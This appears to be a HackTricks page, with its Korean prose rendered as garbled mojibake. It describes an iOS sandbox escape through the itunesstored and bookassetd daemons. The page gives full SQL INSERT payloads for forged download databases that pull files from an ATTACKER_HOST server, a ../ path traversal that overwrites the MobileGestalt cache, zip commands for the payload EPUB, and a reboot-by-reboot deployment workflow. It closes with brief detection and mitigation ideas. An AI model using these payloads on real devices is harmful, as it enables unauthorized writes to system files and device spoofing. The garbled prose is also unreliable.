itunesstored & bookassetd Sandbox Escape
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
์ต๊ทผ ์ฐ๊ตฌ์ ๋ฐ๋ฅด๋ฉด ๋ ๊ฐ์ iOS ๊ธฐ๋ณธ ํ์ฌ ๋ฐ๋ชฌ์ธ itunesstored(๋ค์ด๋ก๋ ๊ด๋ฆฌ์)์ bookassetd(Books / iBooks ์์ฐ ๊ด๋ฆฌ์)๋ ์ฌ์ฉ์ ์ฐ๊ธฐ ๊ฐ๋ฅํ SQLite ๋ฉํ๋ฐ์ดํฐ๋ฅผ ๋งน๋ชฉ์ ์ผ๋ก ์ ๋ขฐํฉ๋๋ค. ์กฐ์๋ downloads.28.sqlitedb์ BLDatabaseManager.sqlite ํ์ผ ๋ฐ ์ต์ํ์ EPUB ์์นด์ด๋ธ๋ฅผ /var/mobile/Media/ ์๋์ ๊ธฐ๋กํ๋ฉด, ํด๋น ๊ฒฝ๋ก์ ์ฐ๊ธฐ ๊ถํ์ด ์๋ ๊ณต๊ฒฉ์๋ ์ด๋ค ๋ฐ๋ชฌ์ ๊ฐ์ ํ์ฌ /private/var/ ๋ด ๋๋ถ๋ถ์ mobile ์์ ๊ฒฝ๋ก์ ์์ ํ์ผ ์ฐ๊ธฐ๋ฅผ ์ํํ ์ ์์ต๋๋ค. ์ด ๊ธฐ๋ณธ ๋์์ ์ฌ๋ถํ
์ ๊ฑฐ์ณ๋ ์ ์ง๋๋ฉฐ systemgroup.com.apple.mobilegestaltcache์ ๊ฐ์ system group ์บ์๋ฅผ ๋ณ์กฐํด ์ฅ์น ์์ฑ์ ์คํธํํ๊ฑฐ๋ ์ค์ ์ ์๊ตฌํํ ์ ์์ต๋๋ค.
์ฃผ์ ํน์ฑ:
- ์ต์ํ iOS 26.2b1๊น์ง ์๋(ํ ์คํธ: iPhone 12 / iOS 26.0.1).
- ์ฐ๊ธฐ ๊ฐ๋ฅํ ๋์์๋
SystemGroup์บ์,/private/var/mobile/Library/FairPlay,/private/var/mobile/Media๋ฐ ๊ธฐํmobile์์ ํ์ผ์ด ํฌํจ๋ฉ๋๋ค.root์์ ํ์ผ์ ๋ํ ์ฐ๊ธฐ๋ ์คํจํฉ๋๋ค. - AFC ์์ค ์ ๊ทผ(AFC-level access, USB ํ์ผ ๋ณต์ฌ)๋ง ์๊ฑฐ๋ ๋์ SQLite DB๋ฅผ ๊ต์ฒดํ๊ณ ํ์ด๋ก๋๋ฅผ ์ ๋ก๋ํ ์ ์๋ ์ด๋ ํ ๋ฐํ์ด๋ฉด ์ถฉ๋ถํฉ๋๋ค.
์ํ ๋ชจ๋ธ ๋ฐ ์๊ตฌ์ฌํญ
/var/mobile/Media/Downloads/๋ฐ/var/mobile/Media/Books/์ ๋ํ ๋ก์ปฌ ํ์ผ์์คํ ์ ๊ทผ(3uTools, i4.cn ๊ฐ์ AFC ํด๋ผ์ด์ธํธ ๋๋afcclientover USB, ๋๋ ์ด์ ์ ์ด๋ค ์นจํด ์๋จ).- ๊ณต๊ฒฉ์ ํ์ผ(
BLDatabaseManager.sqlite,iTunesMetadata.plist, ์กฐ์๋ EPUB)์ ํธ์คํ ํ๋ HTTP ์๋ฒ(์:https://ATTACKER_HOST/fileprovider.php?type=...). - ๊ฐ ๋ฐ๋ชฌ์ด DB๋ฅผ ๋ค์ ๋ก๋ํ๋๋ก ๋๋ฐ์ด์ค๋ฅผ ์ฌ๋ฌ ๋ฒ ์ฌ๋ถํ ํ ์ ์๋ ๋ฅ๋ ฅ.
- Stage 1 ์ฐ๊ธฐ๊ฐ ์ฌ๋ฐ๋ฅธ ์ปจํ ์ด๋์ ๊ธฐ๋ก๋๋๋ก ํ๊ธฐ ์ํ Books system-group UUID์ ์ง์( syslog์์ ํ์ธ ).
Stage 1 โ itunesstored๋ฅผ ํตํ downloads.28.sqlitedb ์
์ฉ
itunesstored๋ /var/mobile/Media/Downloads/downloads.28.sqlitedb๋ฅผ ์ฒ๋ฆฌํฉ๋๋ค. asset ํ
์ด๋ธ์ URL + ๋ชฉ์ ์ง ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๋ฉฐ ์ ๋ขฐ๋ ์
๋ ฅ์ผ๋ก ์ทจ๊ธ๋ฉ๋๋ค. ๊ณต๊ฒฉ์ URL์ ๊ฐ๋ฆฌํค๊ณ local_path๋ฅผ Books SystemGroup ๋ด๋ถ์ .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite๋ก ์ค์ ํ๋ ํ์ ๋ง๋ค๋ฉด, ๋ถํ
์ itunesstored๊ฐ ํด๋น Books ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๋ค์ด๋ก๋ํ์ฌ ๊ณต๊ฒฉ์ ๋ด์ฉ์ผ๋ก ๋ฎ์ด์๋๋ค.
Books SystemGroup UUID ์ฐพ๊ธฐ
pymobiledevice3๋ก syslog ์์นด์ด๋ธ๋ฅผ ์์งํฉ๋๋ค:
pymobiledevice3 syslog collect logs.logarchive
- Console.app์์
logs.logarchive๋ฅผ ์ด๊ณbookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite๋ฅผ ๊ฒ์ํฉ๋๋ค. <UUID>๋ฅผ ๊ธฐ๋กํ๊ณ SQL ํ์ด๋ก๋์ ๋์ ํฉ๋๋ค.
์
์ฑ asset ํ
Stage 1 INSERT ํ ํ๋ฆฟ
```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/์ค์ํ ํ๋:
url: ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์๋ํฌ์ธํธ๋ก ์ ์ฑBLDatabaseManager.sqlite๋ฅผ ๋ฐํํฉ๋๋ค.local_path: ์์ ํ์ธํ Books ์์คํ ๊ทธ๋ฃน์BLDatabaseManager.sqliteํ์ผ.- ์ ์ด ํ๋๊ทธ: ๋ฐ๋ชฌ์ด ์์
์ ์๋ฝํ๋๋ก ๊ธฐ๋ณธ๊ฐ ์ ์ง (
asset_type='media',path_extension='epub', ํ ํ๋ฆฟ๊ณผ ๊ฐ์ด ๋ถ๋ฆฌ์ธ์ 0/1๋ก ์ค์ ).
Deployment
- ๋ ์ด์ค๋ฅผ ํผํ๊ธฐ ์ํด ์ค๋๋
/var/mobile/Media/Downloads/*ํญ๋ชฉ๋ค์ ์ญ์ ํฉ๋๋ค. - AFC๋ฅผ ํตํด
downloads.28.sqlitedb๋ฅผ ์ ์ํ DB๋ก ๊ต์ฒดํฉ๋๋ค. - ์ฌ๋ถํ
โ
itunesstored๊ฐ Stage 2 ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๋ค์ด๋ก๋ํ๊ณ/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist๋ฅผ ์์ฑํฉ๋๋ค. - ํด๋น plist๋ฅผ
/var/mobile/Media/Books/iTunesMetadata.plist๋ก ๋ณต์ฌํฉ๋๋ค; Stage 2๋ ํด๋น ์์น์์ ์ด๋ฅผ ๊ธฐ๋ํฉ๋๋ค.
Stage 2 โ bookassetd๋ฅผ ํตํ BLDatabaseManager.sqlite ์
์ฉ
bookassetd๋ ๋ ๊ด๋ฒ์ํ ํ์ผ์์คํ
entitlements๋ฅผ ๋ณด์ ํ๊ณ ZBLDOWNLOADINFO ํ
์ด๋ธ์ ์ ๋ขฐํฉ๋๋ค. ๊ณต๊ฒฉ์ URL์ ์ฐธ์กฐํ๊ณ ZPLISTPATH์ traversal์ ํฌํจํ๋ ๊ฐ์ง ๊ตฌ๋งค ํ์ ์ฝ์
ํจ์ผ๋ก์จ, ๋ฐ๋ชฌ์ ๋น์ ์ EPUB์ /var/mobile/Media/Books/asset.epub๋ก ๋ค์ด๋ก๋ํ๊ณ ์ดํ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ../../.. ์ด์ค์ผ์ดํ ์ํ์ค๋ฅผ ํตํด ๋๋ฌ ๊ฐ๋ฅํ ๋ชจ๋ mobile ์์ ๊ฒฝ๋ก๋ก ํ์ด๋์ต๋๋ค.
์
์ฑ ZBLDOWNLOADINFO ํ
Stage 2 INSERT ํ ํ๋ฆฟ
```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```์ค์ ํ๋:
ZASSETPATH: ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋์คํฌ์์ EPUB ์์น.ZURL/ZPERMLINK: ๊ณต๊ฒฉ์๊ฐ ํธ์คํ ํ๋ EPUB ๋ฐ ๋ณด์กฐ plist์ URL.ZPLISTPATH:../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Libraryโ path traversal base๋ก EPUB์์ ์ถ์ถ๋ ํ์ผ์ ๋ถ๋ ๊ฒฝ๋ก. ์ํ๋ SystemGroup ๋์์ ๋๋ฌํ๋๋ก traversal depth๋ฅผ ์กฐ์ ํ์ธ์.- ๊ตฌ๋งค ๋ฉํ๋ฐ์ดํฐ (
ZSTOREIDENTIFIER, names, timestamps)๋ ์ ์ ํญ๋ชฉ์ ๋ชจ๋ฐฉํ๋๋ก ์ค์ ํ์ฌ ๋ฐ๋ชฌ์ด ํด๋น ํ์ ๋ฒ๋ฆฌ์ง ์๊ฒ ํฉ๋๋ค.
์
์ฑ DB๋ฅผ /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite๋ก ๋ณต์ฌํ ํ(Stage 1 ๋๋ถ) ๊ธฐ๊ธฐ๋ฅผ ๋ ๋ฒ ์ฌ๋ถํ
ํ๋ฉด, bookassetd๋ (1) EPUB์ ๋ค์ด๋ก๋ํ๊ณ , (2) ์ด๋ฅผ ์ฒ๋ฆฌํ์ฌ ์ถ์ถ๋ plist๋ฅผ traversal๋ ๊ฒฝ๋ก ์๋์ ๊ธฐ๋กํฉ๋๋ค.
EPUB ํ์ด๋ก๋ ์ ์
bookassetd๋ EPUB ZIP format์ ์ค์ํฉ๋๋ค: mimetype์ ์ฒซ ๋ฒ์งธ ์์ถ ํด์ ๋์ง ์์ ํญ๋ชฉ์ด์ด์ผ ํฉ๋๋ค. EPUB ์ฝํ
์ธ ๋ฅผ MobileGestalt cache์ ๋งคํํ๋ ค๋ฉด, ZPLISTPATH๋ฅผ ๊ธฐ์ค์ผ๋ก ์ํ๋ ๊ฒฝ๋ก๋ฅผ ๋ฐ์ํ๋ ๋๋ ํฐ๋ฆฌ ํธ๋ฆฌ๋ฅผ ๊ตฌ์ฑํ์ธ์.
Caches/
โโโ mimetype
โโโ com.apple.MobileGestalt.plist
์์นด์ด๋ธ๋ฅผ ์์ฑํ์ธ์:
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetypetypically contains the literalapplication/epub+zip.Caches/com.apple.MobileGestalt.plistholds the attacker-controlled payload that will land at.../Library/Caches/com.apple.MobileGestalt.plist.
์ค์ผ์คํธ๋ ์ด์ ์ํฌํ๋ก์ฐ
- ๊ณต๊ฒฉ์ HTTP ์๋ฒ์ ํ์ผ์ ์ค๋นํ๊ณ ํธ์คํธ/UUID๋ณ ๊ฐ์ ๋ฃ์ด ๋ ๊ฐ์ SQLite DB๋ฅผ ์ ์ํฉ๋๋ค.
- ์ฅ์น์
downloads.28.sqlitedb๋ฅผ ๊ต์ฒดํ๊ณ ์ฌ๋ถํ โ Stage 1์ด ์ ์ฑBLDatabaseManager.sqlite๋ฅผ ๋ค์ด๋ก๋ํ๊ณ/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist๋ฅผ ์์ฑํฉ๋๋ค. iTunesMetadata.plist๋ฅผ ๋ณต์ฌํ์ฌ/var/mobile/Media/Books/iTunesMetadata.plist๋ก ์ ์ฅํฉ๋๋ค(๋ฐ๋ชฌ์ด ์ญ์ ํ๋ฉด ๋ฐ๋ณต).- ๋ค์ ์ฌ๋ถํ
โ
bookassetd๊ฐ Stage 2 ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํดasset.epub๋ฅผ/var/mobile/Media/Books/๋ก ๋ค์ด๋ก๋ํฉ๋๋ค. - ์ธ ๋ฒ์งธ๋ก ์ฌ๋ถํ
โ
bookassetd๊ฐ ๋ค์ด๋ก๋๋ ์์ ์ ์ฒ๋ฆฌํ๊ณZPLISTPATH๋ฅผ ๋ฐ๋ผ EPUB ๋ด์ฉ์ ๋์ SystemGroup ๊ฒฝ๋ก(์:com.apple.MobileGestalt.plist)์ ์๋๋ค. - ๊ฒ์ฆ: ๋ฎ์ด์ด plist๋ฅผ ์ฝ์ด ํ์ธํ๊ฑฐ๋ MobileGestalt์์ ํ์๋ ์์ฑ(๋ชจ๋ธ ์๋ณ์, ํ์ฑํ ํ๋๊ทธ ๋ฑ)์ด ๋ณ๊ฒฝ๋์๋์ง ๊ด์ฐฐํฉ๋๋ค.
๋์ผํ ํจํด์ผ๋ก FairPlay ์ํ๋ ์์์ฑ ๋๋ ํฐ๋ฆฌ ๋ฑ ๋ค๋ฅธ mobile ์์ ์ ์บ์ ํ์์ ํ์ผ์ ๋ฐฐ์นํ ์ ์์ด kernel exploit ์์ด ์๋ฐํ ๋ณ์กฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
๋๊ตฌ ๋ฐ ์ด์ ๋ ธํธ
pymobiledevice3 syslog collect logs.logarchiveโ ๋ก๊ทธ ์์นด์ด๋ธ๋ฅผ ์ถ์ถํ์ฌ Books SystemGroup UUID๋ฅผ ์ฐพ์ต๋๋ค.- Console.app โ
bookassetd [Database]: Store is at ...๋ก ํํฐ๋งํ์ฌ ์ ํํ ์ปจํ ์ด๋ ๊ฒฝ๋ก๋ฅผ ๋ณต๊ตฌํฉ๋๋ค. - AFC clients (
afcclient, 3uTools, i4.cn) โ jailbreak ์์ด USB๋ก SQLite DB์ plist ํ์ผ์ push/pull ํฉ๋๋ค. zipโ ํ์ด๋ก๋ ํจํค์ง ์ EPUB ์์ ์ ์ฝ์ ๊ฐ์ ํฉ๋๋ค.- Public PoC โ https://github.com/hanakim3945/bl_sbx ๋ ์ปค์คํฐ๋ง์ด์ฆ ๊ฐ๋ฅํ baseline SQLite/EPUB ํ ํ๋ฆฟ์ ์ ๊ณตํฉ๋๋ค.
ํ์ง ๋ฐ ์ํ ์์ด๋์ด
downloads.28.sqlitedb์BLDatabaseManager.sqlite๋ฅผ ์ ๋ขฐ๋์ง ์๋ ์ ๋ ฅ์ผ๋ก ๊ฐ์ฃผ:local_path/ZPLISTPATH๊ฐ ์น์ธ๋ ์๋๋ฐ์ค ๋ด๋ถ์ ๋จธ๋ฌด๋ฅด๋์ง ๊ฒ์ฆํ๊ณ ์ ๋ ๊ฒฝ๋ก ๋๋ ๊ฒฝ๋ก ํ์ถ ํ ํฐ์ ๊ฑฐ๋ถํฉ๋๋ค.- AFC๊ฐ ์ด๋ฌํ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๊ต์ฒดํ๋ ์ฐ๊ธฐ ๋์์ด๋ ๋ถํ
์งํ
itunesstored/bookassetd์ ์ํด ์์๋ ์๊ธฐ์น ์์ ๋ค์ด๋ก๋๋ฅผ ๋ชจ๋ํฐ๋งํฉ๋๋ค. bookassetd์ ์ธํจํน์ ๊ฐํํ์ฌ ์ถ๋ ฅ ๋์์ ๋ํดrealpath()๋ฅผ ํธ์ถํ๊ณ ํ์ผ ์์ฑ ์ ์ Books ์ปจํ ์ด๋๋ฅผ ๋ฒ์ด๋์ง ๋ชปํ๋๋ก ํฉ๋๋ค.- AFC/USB ํ์ผ ๋ณต์ฌ ์ฑ๋์ ์ ํํ๊ฑฐ๋ Books/iTunes ๋ฉํ๋ฐ์ดํฐ ํ์ผ ๊ต์ฒด๋ฅผ ํ์ฉํ๊ธฐ ์ ์ ์ฌ์ฉ์ ์ํธ์์ฉ์ ์๊ตฌํฉ๋๋ค.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


